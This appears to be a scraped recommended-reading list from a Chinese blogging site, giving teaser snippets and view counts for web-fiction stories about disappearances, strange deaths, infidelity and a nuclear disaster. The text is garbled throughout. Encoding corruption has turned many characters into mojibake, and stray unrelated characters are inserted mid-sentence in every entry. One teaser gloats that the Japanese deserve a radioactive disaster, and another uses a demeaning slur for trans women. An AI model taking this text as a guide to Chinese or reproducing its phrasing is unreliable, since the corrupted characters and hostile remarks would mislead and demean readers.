  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎大诸,沒想到半個月后捅厂,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,420評論 1 313
  • 正文 獨居荒郊野嶺守林人離奇死亡资柔,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,617評論 3 334
  • 正文 我和宋清朗相戀三年焙贷,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片贿堰。...
    茶點故事閱讀 39,779評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡辙芍,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出羹与,到底是詐尸還是另有隱情故硅,我是刑警寧澤,帶...
    沈念sama閱讀 35,477評論 5 345
  • 正文 年R本政府宣布纵搁,位于F島的核電站吃衅,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏腾誉。R本人自食惡果不足惜徘层,卻給世界環(huán)境...
    茶點故事閱讀 41,088評論 3 328
  • 文/蒙蒙 一峻呕、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧趣效,春花似錦瘦癌、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,716評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至西傀,卻和暖如春斤寇,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背拥褂。 一陣腳步聲響...
    開封第一講書人閱讀 32,857評論 1 269
  • 我被黑心中介騙來泰國打工抡驼, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人肿仑。 一個月前我還...
    沈念sama閱讀 47,876評論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像碎税,于是被迫代替她去往敵國和親尤慰。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,700評論 2 354

推薦閱讀更多精彩內(nèi)容